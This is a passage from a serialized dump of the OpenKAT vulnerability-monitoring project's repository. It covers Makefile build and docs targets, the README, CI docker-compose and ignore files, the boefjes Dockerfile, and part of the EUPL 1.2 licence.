MacOS\n\t$(HIDE) grep -o \"{%\\([_A-Z]*\\)}\" .env-dist | sort -u | while read v; do sed -i '' \"s/$$v/$$(openssl rand -hex 25)/g\" .env; done\nelse\n\t$(HIDE) grep -o \"{%\\([_A-Z]*\\)}\" .env-dist | sort -u | while read v; do sed -i \"s/$$v/$$(openssl rand -hex 25)/g\" .env; done\nendif\n\n# Build will prepare all services: migrate them, seed them, etc.\nbuild:\nifeq ($(UNAME),Darwin)\n\tdocker compose build --pull --parallel --build-arg USER_UID=\"$$(id -u)\"\nelse\n\tdocker compose build --pull --parallel --build-arg USER_UID=\"$$(id -u)\" --build-arg USER_GID=\"$$(id -g)\"\nendif\n\tmake -C rocky build\n\tmake -C boefjes build\n\n# Build Debian 11 build image\ndebian12-build-image:\n\tdocker build -t kat-debian12-build-image packaging/debian12\n\n# Build Ubuntu 22.04 build image\nubuntu22.04-build-image:\n\tdocker build -t kat-ubuntu22.04-build-image packaging/ubuntu22.04\n\nCHECKSUM_CMD = $(if $(filter $(UNAME), Darwin), shasum -a 256, sha256sum --quiet)\n\ndocs:\n\t$(call build-settings-doc,octopoes,octopoes.config.settings,octopoes,Octopoes)\n\t$(call build-settings-doc,boefjes,boefjes.config,boefjes,Boefjes)\n\t$(call build-settings-doc,bytes,bytes.config,bytes,Bytes)\n\t$(call build-settings-doc,mula/scheduler,config.settings,mula,Mula)\n\n\tcurl -sL -o - https://registry.npmjs.org/d3/-/d3-7.9.0.tgz | tar -Oxzf - package/dist/d3.min.js > docs/source/_static/d3.min.js\n\tcurl -sL -o - https://registry.npmjs.org/mermaid/-/mermaid-11.3.0.tgz | tar -Oxzf - package/dist/mermaid.min.js > docs/source/_static/mermaid.min.js\n\n\techo \"f2094bbf6141b359722c4fe454eb6c4b0f0e42cc10cc7af921fc158fceb86539  docs/source/_static/d3.min.js\" | $(CHECKSUM_CMD) --check || exit 1\n\techo \"0d2b6f2361e7e0ce466a6ed458e03daa5584b42ef6926c3beb62eb64670ca261  docs/source/_static/mermaid.min.js\" | $(CHECKSUM_CMD) --check || exit 1\n\n\tPYTHONPATH=$(PYTHONPATH):boefjes/:bytes/:mula/:octopoes/ sphinx-build -b html --fail-on-warning docs/source docs/_build\n\n\nupgraderequirements:\n\t@echo \"Upgrading all required dependencies using uv...\"\n\tfiles=$$(find . -name pyproject.toml -maxdepth 2); \\\n\tfor path in $$files; do \\\n\t\tproject_dir=$$(dirname $$path); \\\n\t\techo \"Processing $$path...\"; \\\n\t\tuv lock --project $$project_dir --upgrade; \\\n\t\techo \"New Lock file generated. Use \\`make requirements\\` to update requirements files...\"\n\tdone\n\nrequirements:\n\t@echo \"Generating requirements.txt files for all projects using uv...\"\n\tfiles=$$(find . -name pyproject.toml -maxdepth 2); \\\n\tfor path in $$files; do \\\n\t\tproject_dir=$$(dirname $$path); \\\n\t\techo \"Processing $$path...\"; \\\n\t\tuv lock --project $$project_dir --check; \\\n\t\techo \"Exporting main dependencies...\"; \\\n\t\tuv export --project $$project_dir --no-default-groups --format requirements-txt -o $$project_dir/requirements.txt; \\\n\t\tif grep -q \"\\[dependency-groups\\]\" $$path && grep -q \"dev =\" $$path; then \\\n\t\t\techo \"Exporting dev dependencies...\"; \\\n\t\t\tuv export --project $$project_dir --group dev --format requirements-txt -o $$project_dir/requirements-dev.txt; \\\n\t\telse \\\n\t\t\techo \"No dev group, skipping requirements-dev.txt...\"; \\\n\t\tfi; \\\n\tdone\n"
  },
  {
    "path": "README.rst",
    "content": "================\nWhat is OpenKAT?\n================\n\nOpenKAT aims to monitor, record and analyze the status of information systems. The basic premise is that many of the major security incidents are caused by small errors and known vulnerabilities, and if you find them and resolve them in time your systems and infrastructure become a lot more secure.\n\nOpenKAT scans, collects, analyzes and reports in an ongoing process:\n\n.. image:: docs/source/about-openkat/img/flowopenkat.png\n  :alt: flow of OpenKAT\n\nOpenKAT scans networks, finds vulnerabilities and creates accessible reports. It integrates the most widely used network tools and scanning software into a modular framework, accesses external databases such as shodan, and combines the information from all these sources into clear reports. It also includes lots of cat hair.\n\nOpenKAT is useful if you want to monitor a complex system and know whether it contains known vulnerabilities or configuration errors. Due to its modular structure and extensibility, OpenKAT can be applied in different situations. You can customize it and put it to your own use.\n\nDocumentation\n=============\n\n`The full documentation of OpenKAT can be found here: https://docs.openkat.nl <https://docs.openkat.nl>`_. It includes information such as:\n\n- Introduction to the system\n- Modules\n- Guidelines\n- Templates\n- Technical documentation\n- Our `Figma / UX designs <https://docs.openkat.nl/ux_design/figma.html>`_.\n\nBrochures\n=========\n\nThe high level documentation on OpenKAT explains the purpose and operation of OpenKAT at the management level:\n\n- `the 'TL;DR' of 2 pages (English) <https://github.com/minvws/nl-kat-coordination/blob/main/docs/source/about-openkat/pdf/OpenKAT%20handout_ENG.pdf>`_\n- `the extensive brochure on OpenKAT (Dutch) <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/blob/main/docs/source/about-openkat/pdf/introductie%20OpenKAT%20V20220621.pdf>`_\n\nCurrent release\n===============\n\nThe current release of OpenKAT can be found via the `release page on this repository <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/releases>`_.\n\nTranslations\n============\n.. image:: https://hosted.weblate.org/widget/openkat/287x66-white.png\n   :target: https://hosted.weblate.org/engage/openkat/\n   :alt: Translation status (summary)\n\n.. image:: https://hosted.weblate.org/widget/openkat/multi-auto.svg\n   :target: https://hosted.weblate.org/engage/openkat/\n   :alt: Translation status (bar chart)\n\nWe gratefully use `Weblate <https://hosted.weblate.org/engage/openkat/>`_ to manage the translations.\nSee `the docs <https://docs.openkat.nl/guidelines/contributions.html#contribute-translations>`_ for more information.\n\n\nWhich license applies to OpenKAT?\n=================================\n\nOpenKAT is available under the `EU PL 1.2 license <https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12>`_. This license was chosen because it provides a reasonable degree of freedom while ensuring public character. The EU PL 1.2 license is retained upon further distribution of the software. Modifications and additions can be made under the EU PL 1.2 license or under compatible licenses, which are similar in nature.\n\nThe tools addressed by OpenKAT may have their own license, from the OS/S domain or from commercial application. This is the responsibility of the owner of the system addressing these tools. The inclusion of new boefjes in the KAT catalog is governed by a separate agreement.\n\nContact\n=======\n\nThere are several options to contact the OpenKAT team:\n\n- Direct contact: meedoen@openkat.nl\n- `Github Discussions <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/discussions>`_\n- `OpenKAT group on Linkedin <https://www.linkedin.com/>`_ (search for OpenKAT)\n- IRC: #openkat on irc.libera.chat\n- `Signal group <https://signal.group/#CjQKIIS4T1mDK1RcTqelkv-vDvnzrsU4b2qGj3xIPPrqWO8HEhDISi92dF_m4g7tXEB_QwN_>`_\n\nPrivacy\n=======\n\nOpenKAT is not designed to collect private information and it does not act on any private information that it finds. Some information considered to be personally identifiable information, may be collected through one or more of OpenKAT's plugins and subsequently stored, but only if that information has been accessible to OpenKAT. For example, a phone number or email address listed on a website might end up being collected as part of OpenKAT normal data collection. These data might then be stored for a long period of time, because OpenKAT stores evidence of its actions. No email or phone number models are present and as such they won't be processed into objects by OpenKAT.\nAn OpenKAT installation requires user accounts for users to be able to log in. These accounts (and all data OpenKAT works with) are stored only on the OpenKAT installation itself, and are not shared with any other parties or outside of your OpenKAT install.\n\nSecurity\n========\n\nOpenKAT is designed to be secure by default in its production setup. In the development setup some debugging flags are enabled by default and it will not include TLS out of the box. To set up a secure production OpenKAT install, please follow the `Production setup guidelines <https://docs.openkat.nl/installation-and-deployment/install.html#production-environments>`_ and `Hardening guidelines <https://docs.openkat.nl/installation-and-deployment/hardening.html>`_.\n"
  },
  {
    "path": "boefjes/.ci/docker-compose.yml",
    "content": "services:\n  katalogus_integration:\n    build:\n      context: ..\n      dockerfile: boefjes/Dockerfile\n      args:\n        - ENVIRONMENT=dev\n    command: sh -c 'python -m pytest -v tests/integration'\n    depends_on:\n      - ci_katalogus-db\n      - ci_katalogus\n    env_file:\n      - .ci/.env.test\n    volumes:\n      - .:/app/boefjes\n\n  ci_katalogus-db:\n    image: docker.io/library/postgres:15\n    env_file:\n      - .ci/.env.test\n\n  migration_bench:\n    build:\n      context: ..\n      dockerfile: boefjes/Dockerfile\n      args:\n        - ENVIRONMENT=dev\n    command: bash -c \"python -m cProfile -o .ci/bench_$(date +%Y_%m_%d-%H:%M:%S).pstat -m pytest -v -m slow tests/integration/test_bench.py::test_migration\"\n    depends_on:\n      - ci_bytes\n      - ci_octopoes\n      - ci_katalogus-db\n    env_file:\n      - .ci/.env.test\n    volumes:\n      - .:/app/boefjes\n    environment:\n      - DATABASE_MIGRATION=1\n\n  ci_bytes:\n    build:\n      context: ../bytes\n      args:\n        ENVIRONMENT: dev\n    command: uvicorn bytes.api:app --host 0.0.0.0\n    depends_on:\n      ci_rabbitmq:\n        condition: service_healthy\n      ci_bytes-db:\n        condition: service_started\n    env_file:\n      - .ci/.env.test\n    environment:\n      - DATABASE_MIGRATION=1\n\n  ci_bytes-db:\n    image: docker.io/library/postgres:15\n    env_file:\n      - .ci/.env.test\n\n  ci_octopoes:\n    build:\n      context: ../octopoes\n    command: uvicorn octopoes.api.api:app --host 0.0.0.0 --port 80\n    depends_on:\n      ci_rabbitmq:\n        condition: service_healthy\n      ci_xtdb:\n        condition: service_started\n      ci_katalogus:\n        condition: service_started\n      ci_octopoes_api_worker:\n        condition: service_started\n    env_file:\n      - .ci/.env.test\n\n  ci_rabbitmq:\n    restart: on-failure\n    image: \"docker.io/library/rabbitmq:3.12-management\"\n    healthcheck:\n      test: [\"CMD\", \"rabbitmqctl\", \"status\"]\n      interval: 5s\n      retries: 4\n    env_file:\n      - .ci/.env.test\n\n  ci_xtdb:\n    image: \"docker.underdark.nl/librekat/xtdb-http-multinode:main\"\n\n  ci_octopoes_api_worker:\n    build:\n      context: ../octopoes\n    command: celery -A octopoes.tasks.tasks worker -E --loglevel=INFO\n    depends_on:\n      ci_rabbitmq:\n        condition: service_healthy\n      ci_xtdb:\n        condition: service_started\n    env_file:\n      - .ci/.env.test\n    ulimits:\n      nofile:\n        soft: 262144\n        hard: 262144\n\n  ci_katalogus:\n    build:\n      context: ..\n      dockerfile: boefjes/Dockerfile\n      args:\n        - ENVIRONMENT=dev\n    command: uvicorn boefjes.katalogus.root:app --host 0.0.0.0 --port 8080\n    depends_on:\n      - ci_katalogus-db\n    env_file:\n      - .ci/.env.test\n    volumes:\n      - .:/app/boefjes\n"
  },
  {
    "path": "boefjes/.dockerignore",
    "content": "**/__pycache__\n**/*.pyc\n**/*.pyo\n**/*.pyd\n.Python\nenv\n.venv\npip-log.txt\npip-delete-this-directory.txt\n.tox\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.log\n.git\n**/.mypy_cache\n.pytest_cache\n.hypothesis\nDockerfile\nbytes-data\n.dockerignore\n.github\n.env-dist\n.gitignore\n.ci\nMakefile\npackaging\nREADME.*\npyproject.toml\nsql_migrations\n.dockerignore\nexport_migrations\ndocs\n"
  },
  {
    "path": "boefjes/.editorconfig",
    "content": "root = true\n\n[*]\ncharset = utf-8\nend_of_line = lf\ninsert_final_newline = true\ntrim_trailing_whitespace = true\nindent_style = space\nindent_size = 2\n\n[*.py]\nindent_size = 4\nmax_line_length = 120\n\n[Makefile]\nindent_style = tab\n\n[*.md]\ntrim_trailing_whitespace = false\n"
  },
  {
    "path": "boefjes/.gitignore",
    "content": "\n# Created by https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n# Edit at https://www.toptal.com/developers/gitignore?templates=windows,linux,macos,python,node,react,intellij,vscode\n\n### Intellij ###\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff\n.idea/\n.vscode\n\n# Gradle and Maven with auto-import\n# When using Gradle or Maven with auto-import, you should exclude module files,\n# since they will be recreated, and may cause churn.  Uncomment if using\n# auto-import.\n# .idea/artifacts\n# .idea/compiler.xml\n# .idea/jarRepositories.xml\n# .idea/modules.xml\n# .idea/*.iml\n# .idea/modules\n*.iml\n*.ipr\n\n# CMake\ncmake-build-*/\n\n# Mongo Explorer plugin\n.idea/**/mongoSettings.xml\n\n# File-based project format\n*.iws\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Cursive Clojure plugin\n.idea/replstate.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n# Editor-based Rest Client\n.idea/httpRequests\n\n# Android studio 3.1+ serialized cache file\n.idea/caches/build_file_checksums.ser\n\n### Intellij Patch ###\n# Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721\n\n# *.iml\n# modules.xml\n# .idea/misc.xml\n# *.ipr\n\n# Sonarlint plugin\n# https://plugins.jetbrains.com/plugin/7973-sonarlint\n.idea/**/sonarlint/\n\n# SonarQube Plugin\n# https://plugins.jetbrains.com/plugin/7238-sonarqube-community-plugin\n.idea/**/sonarIssues.xml\n\n# Markdown Navigator plugin\n# https://plugins.jetbrains.com/plugin/7896-markdown-navigator-enhanced\n.idea/**/markdown-navigator.xml\n.idea/**/markdown-navigator-enh.xml\n.idea/**/markdown-navigator/\n\n# Cache file creation bug\n# See https://youtrack.jetbrains.com/issue/JBR-2257\n.idea/$CACHE_FILE$\n\n# CodeStream plugin\n# https://plugins.jetbrains.com/plugin/12206-codestream\n.idea/codestream.xml\n\n### Linux ###\n*~\n\n# temporary files which can be created if a process still has a handle open of a deleted file\n.fuse_hidden*\n\n# KDE directory preferences\n.directory\n\n# Linux trash folder which might appear on any partition or disk\n.Trash-*\n\n# .nfs files are created when an open file is removed but is still being accessed\n.nfs*\n\n### macOS ###\n# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n\n# Thumbnails\n._*\n\n# Files that might appear in the root of a volume\n.DocumentRevisions-V100\n.fseventsd\n.Spotlight-V100\n.TemporaryItems\n.Trashes\n.VolumeIcon.icns\n.com.apple.timemachine.donotpresent\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n\n### Node ###\n# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\nreport.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n*.lcov\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# TypeScript v1 declaration files\ntypings/\n\n# TypeScript cache\n*.tsbuildinfo\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional stylelint cache\n.stylelintcache\n\n# Microbundle cache\n.rpt2_cache/\n.rts2_cache_cjs/\n.rts2_cache_es/\n.rts2_cache_umd/\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n.env.test\n.env*.local\n*.env\n\n# parcel-bundler cache (https://parceljs.org/)\n.cache\n.parcel-cache\n\n# Next.js build output\n.next\n\n# Nuxt.js build / generate output\n.nuxt\ndist\n\n# Gatsby files\n.cache/\n# Comment in the public line in if your project uses Gatsby and not Next.js\n# https://nextjs.org/blog/next-9-1#public-directory-support\n# public\n\n# vuepress build output\n.vuepress/dist\n\n# Serverless directories\n.serverless/\n\n# FuseBox cache\n.fusebox/\n\n# DynamoDB Local files\n.dynamodb/\n\n# TernJS port file\n.tern-port\n\n# Stores VSCode versions used for testing VSCode extensions\n.vscode-test\n\n### Python ###\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\npytestdebug.log\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\ndoc/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\npythonenv*\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# profiling data\n.prof\n\n### react ###\n.DS_*\n**/*.backup.*\n**/*.back.*\n\nnode_modules\n\n*.sublime*\n\npsd\nthumb\nsketch\n\n### vscode ###\n.vscode/*\n!.vscode/settings.json\n!.vscode/tasks.json\n!.vscode/launch.json\n!.vscode/extensions.json\n*.code-workspace\n\n### Windows ###\n# Windows thumbnail cache files\nThumbs.db\nThumbs.db:encryptable\nehthumbs.db\nehthumbs_vista.db\n\n# Dump file\n*.stackdump\n\n# Folder config file\n[Dd]esktop.ini\n\n# Recycle Bin used on file shares\n$RECYCLE.BIN/\n\n# Windows Installer files\n*.cab\n*.msi\n*.msix\n*.msm\n*.msp\n\n# Windows shortcuts\n*.lnk\n\n# End of https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n\n/bytes/bytes-data\n/errors\n*.tar.gz\n.password-store\n.envrc\ndeployment/github_config.sh\n**cache.db\n*.swp\n\n!/tests/test_spf.py\n\n!packaging/deb/data/usr/lib\n\n# debian build artifacts\ndebhelper-build-stamp\n*.debhelper\n*.deb\n*.dsc\n*.build\n*.buildinfo\n*.changes\n*.substvars\ndebian/*/\ndebian/*.log\ndebian/files\ndebian/changelog\n"
  },
  {
    "path": "boefjes/Dockerfile",
    "content": "ARG PYTHON_VERSION=3.13\nFROM python:$PYTHON_VERSION AS dev\n\nARG USER_UID=1000\nARG USER_GID=1000\n\nENTRYPOINT [\"/app/boefjes/entrypoint.sh\"]\n\nRUN groupadd --gid \"$USER_GID\" nonroot\nRUN adduser --disabled-password --gecos '' --uid \"$USER_UID\" --gid \"$USER_GID\" nonroot\n\nWORKDIR /app/boefjes\nENV PATH=/home/nonroot/.local/bin:${PATH}\n\nARG ENVIRONMENT\n\nCOPY boefjes/requirements-dev.txt boefjes/requirements.txt .\n\nRUN --mount=type=cache,target=/root/.cache \\\n    pip install --upgrade pip \\\n    && if [ \"$ENVIRONMENT\" = \"dev\" ]; \\\n    then \\\n    pip install -r requirements-dev.txt; \\\n    else \\\n    pip install -r requirements.txt; \\\n    fi\n\nFROM dev\n\nCOPY octopoes/ /tmp/octopoes\nRUN cd /tmp/octopoes && python setup.py bdist_wheel\nRUN pip install /tmp/octopoes/dist/octopoes*.whl\n\nCOPY boefjes/entrypoint.sh .\nCOPY boefjes/boefjes ./boefjes\n\n# FIXME: We currently have to run as root to be able to start containers using\n# the docker socket\n#USER nonroot\n\nCMD [\"python\", \"-m\", \"bin.worker\", \"boefje\"]\n"
  },
  {
    "path": "boefjes/LICENSE",
    "content": "                      EUROPEAN UNION PUBLIC LICENCE v. 1.2\n                      EUPL © the European Union 2007, 2016\n\nThis European Union Public Licence (the ‘EUPL’) applies to the Work (as defined\nbelow) which is provided under the terms of this Licence. Any use of the Work,\nother than as authorised under this Licence is prohibited (to the extent such\nuse is covered by a right of the copyright holder of the Work).\n\nThe Work is provided under the terms of this Licence when the Licensor (as\ndefined below) has placed the following notice immediately following the\ncopyright notice for the Work:\n\n        Licensed under the EUPL\n\nor has expressed by any other means his willingness to license under the EUPL.\n\n1. Definitions\n\nIn this Licence, the following terms have the following meaning:\n\n- ‘The Licence’: this Licence.\n\n- ‘The Original Work’: the work or software distributed or communicated by the\n  Licensor under this Licence, available as Source Code and also as Executable\n  Code as the case may be.\n\n- ‘Derivative Works’: the works or software that could be created by the\n  Licensee, based upon the Original Work or modifications thereof. This Licence\n  does not define the extent of modification or dependence on the Original Work\n  required in order to classify a work as a Derivative Work; this extent is\n  determined by copyright law applicable in the country mentioned in Article 15.\n\n- ‘The Work’: the Original Work or its Derivative Works.\n\n- ‘The Source Code’: the human-readable form of the Work which is the most\n  convenient for people to study and modify.\n\n- ‘The Executable Code’: any code which has generally been compiled and which is\n  meant to be interpreted by a computer as a program.\n\n- ‘The Licensor’: the natural or legal person that distributes or communicates\n  the Work under the Licence.\n\n- ‘Contributor(s)’: any natural or legal person who modifies the Work under the\n  Licence, or otherwise contributes to the creation of a Derivative Work.\n\n- ‘The Licensee’ or ‘You’: any natural or legal person who makes any usage of\n  the Work under the terms of the Licence.\n\n- ‘Distribution’ or ‘Communication’: any act of selling, giving, lending,\n  renting, distributing, communicating, transmitting, or otherwise making\n  available, online or offline, copies of the Work or providing access to its\n  essential functionalities at the disposal of any other natural or legal\n  person.\n\n2. Scope of the rights granted by the Licence\n\nThe Licensor hereby grants You a worldwide, royalty-free, non-exclusive,\nsublicensable licence to do the following, for the duration of copyright vested\nin the Original Work:\n\n- use the Work in any circumstance and for all usage,\n- reproduce the Work,\n- modify the Work, and make Derivative Works based upon the Work,\n- communicate to the public, including the right to make available or display\n  the Work or copies thereof to the public and perform publicly, as the case may\n  be, the Work,\n- distribute the Work or copies thereof,\n- lend and rent the Work or copies thereof,\n- sublicense rights in the Work or copies thereof.\n\nThose rights can be exercised on any media, supports and formats, whether now\nknown or later invented, as far as the applicable law permits so.\n\nIn the countries where moral rights apply, the Licensor waives his right to\nexercise his moral right to the extent allowed by law in order to make effective\nthe licence of the economic rights here above listed.\n\nThe Licensor grants to the Licensee royalty-free, non-exclusive usage rights to\nany patents held by the Licensor, to the extent necessary to make use of the\nrights granted on the Work under this Licence.\n\n3. Communication of the Source Code\n\nThe Licensor may provide the Work either in its Source Code form, or as\nExecutable Code. If the Work is provided as Executable Code, the Licensor\nprovides in addition a machine-readable copy of the Source Code of the Work\nalong with each copy of the Work that the Licensor distributes or indicates, in\na notice following the copyright notice attached to the Work, a repository where\nthe Source Code is easily and freely accessible for as long as the Licensor\ncontinues to distribute or communicate the Work.\n\n4. Limitations on copyright\n\nNothing in this Licence is intended to deprive the Licensee of the benefits from\nany exception or limitation to the exclusive rights of the rights owners in the\nWork, of the exhaustion of those rights or of other applicable limitations\nthereto.\n\n5. Obligations of the Licensee\n\nThe grant of the rights mentioned above is subject to some restrictions and\nobligations imposed on the Licensee. Those obligations are the following:\n\nAttribution right: The Licensee shall keep intact all copyright, patent or\ntrademarks notices and all notices that refer to the Licence and to the\ndisclaimer of warranties. The Licensee must include a copy of such notices and a\ncopy of the Licence with every copy of the Work he/she distributes or\ncommunicates. The Licensee must cause any Derivative Work to carry prominent\nnotices stating that the Work has been modified and the date of modification.\n\nCopyleft clause: If the Licensee distributes or communicates copies of the\nOriginal Works or Derivative Works, this Distribution or Communication will be\ndone under the terms of this Licence or of a later version of this Licence\nunless the Original Work is expressly distributed only under this version of the\nLicence — for example by communicating ‘EUPL v. 1.2 only’. The Licensee\n(becoming Licensor) cannot offer or impose any additional terms or conditions on\nthe Work or Derivative Work that alter or restrict the terms of the Licence.\n\nCompatibility clause: If the Licensee Distributes or Communicates Derivative\nWorks or copies thereof based upon both the Work and another work licensed under\na Compatible Licence, this Distribution or Communication can be done under the\nterms of this Compatible Licence. For the sake of this clause, ‘Compatible\nLicence’ refers to the licences listed in the appendix attached to this Licence.\nShould the Licensee's obligations under the Compatible Licence conflict with\nhis/her obligations under this Licence, the obligations of the Compatible\nLicence shall prevail.\n\nProvision of Source Code: When distributing or communicating copies of the Work,\nthe Licensee will provide a machine-readable copy of the Source Code or indicate\na repository where this Source will be easily and freely available for as long\nas the Licensee continues to distribute or communicate the Work.\n\nLegal Protection: This Licence does not grant permission to use the trade names,\ntrademarks, service marks, or names of the Licensor, except as required for\nreasonable and customary use in describing the origin of the Work and\nreproducing the content of the copyright notice.\n\n6. Chain of Authorship\n\nThe original Licensor warrants that the copyright in the Original Work granted\nhereunder is owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach Contributor warrants that the copyright in the modifications he/she brings\nto the Work are owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach time You accept the Licence, the original Licensor and subsequent\nContributors grant You a licence to their contributions to the Work, under the\nterms of this Licence.\n\n7. Disclaimer of Warranty\n\nThe Work is a work in progress, which is continuously improved by numerous\nContributors. It is not a finished work and may therefore contain defects or\n‘bugs’ inherent to this type of development.\n\nFor the above reason, the Work is provided under the Licence on an ‘as is’ basis\nand without warranties of any kind concerning the Work, including without\nlimitation merchantability, fitness for a particular purpose, absence of defects\nor errors, accuracy, non-infringement of intellectual property rights other than\ncopyright as stated in Article 6 of this Licence.\n\nThis disclaimer of warranty is an essential part of the Licence and a condition\nfor the grant of any rights to the Work.\n\n8. Disclaimer of Liability\n\nExcept in the cases of wilful misconduct or damages directly caused to natural\npersons, the Licensor will in no event be liable for any direct or indirect,\nmaterial or moral, damages of any kind, arising out of the Licence or of the use\nof the Work, including without limitation, damages for loss of goodwill, work\nstoppage, computer failure or malfunction, loss of data or any commercial\ndamage, even if the Licensor has been advised of the possibility of such damage.\nHowever, the Licensor will be liable under statutory product liability laws as\nfar such laws apply to the Work.\n\n9. Additional agreements\n\nWhile distributing the Work, You may choose to conclude an additional agreement,\ndefining obligations or services consistent with this Licence. However, if\naccepting obligations, You may act only on your own behalf and on your sole\nresponsibility, not on behalf of the original Licensor or any other Contributor,\nand only if You agree to indemnify, defend, and hold each Contributor harmless\nfor any liability incurred by, or claims asserted against such Contributor by\nthe fact You have accepted any warranty or additional liability.\n\n10. Acceptance of the Licence\n\nThe provisions of this Licence can be accepted by clicking on an icon ‘I agree’\nplaced under the bottom of a window displaying the text of this Licence or by\naffirming consent in any other similar way, in accordance with the rules of\napplicable law. Clicking on that icon indicates your clear and irrevocable\nacceptance of this Licence and all of its terms and conditions.\n\nSimilarly, you irrevocably accept this Licence and all of its terms and\nconditions by exercising any rights granted to You by Article 2 of this Licence,\nsuch as the use of the Work, the creation by You of a Derivative Work or the\nDistribution or Communication by You of the Work or copies thereof.\n\n11. Information to the public\n\nIn case of any Distribution or Communication of the Work by means of electronic\ncommunication by You (for example, by offering to download the Work from a\nremote location) the distribution channel or media (for example, a website) must\nat least provide to the public the information requested by the applicable law\nregarding the Licensor, the Licence and the way it may be accessible, concluded,\nstored and reproduced by the Licensee.\n\n12. Termination of the Licence\n\nThe Licence and the rights granted hereunder will terminate automatically upon\nany breach by the Licensee of the terms of the Licence.\n\nSuch a termination will not terminate the licences of any person who has\nreceived the Work from the Licensee under the Licence, provided such persons\nremain in full compliance with the Licence.\n\n13. Miscellaneous\n\nWithout prejudice of Article 9 above, the Licence represents the complete\nagreement between the Parties as to the Work.\n\nIf any provision of the Licence is invalid or unenforceable under applicable\nlaw, this will not affect the validity or enforceability of the Licence as a\nwhole. Such provision will be construed or reformed so as necessary to make it\nvalid and enforceable.\n\nThe European Commission may publish other linguistic versions or new versions of\nthis Licence or updated versions of the Appendix, so far this is required and\nreasonable, without reducing the scope of the rights granted by the Licence. New\nversions of the Licence will be published with a unique version number.\n\nAll linguistic versions of this Licence, approved by the European Commission,\nhave identical value. Parties can take advantage of the linguistic version of\ntheir choice.\n\n14. Jurisdiction\n\nWithout prejudice to specific agreement between parties,\n\n- any litigation resulting from the interpretation of this License, arising\n  between the European Union institutions, bodies, offices or agencies, as a\n  Licensor, and any Licensee, will be subject to the jurisdiction of the Court\n  of Justice of the European Union, as laid down in article 272 of the Treaty on\n  the Functioning of the European Union,\n\n- any litigation arising between other parties and resulting from the\n  interpretation of this License, will be subject to the exclusive jurisdiction\n  of the competent court where the Licensor resides or conducts its primary\n  business.\n\n15. Applicable Law\n\nWithout prejudice to specific agreement between parties,\n\n- this Licence shall be 